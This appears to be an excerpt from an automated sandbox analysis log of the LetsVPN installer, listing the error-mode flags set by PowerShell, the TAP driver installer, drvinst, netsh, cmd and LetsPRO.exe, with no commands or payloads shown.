Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
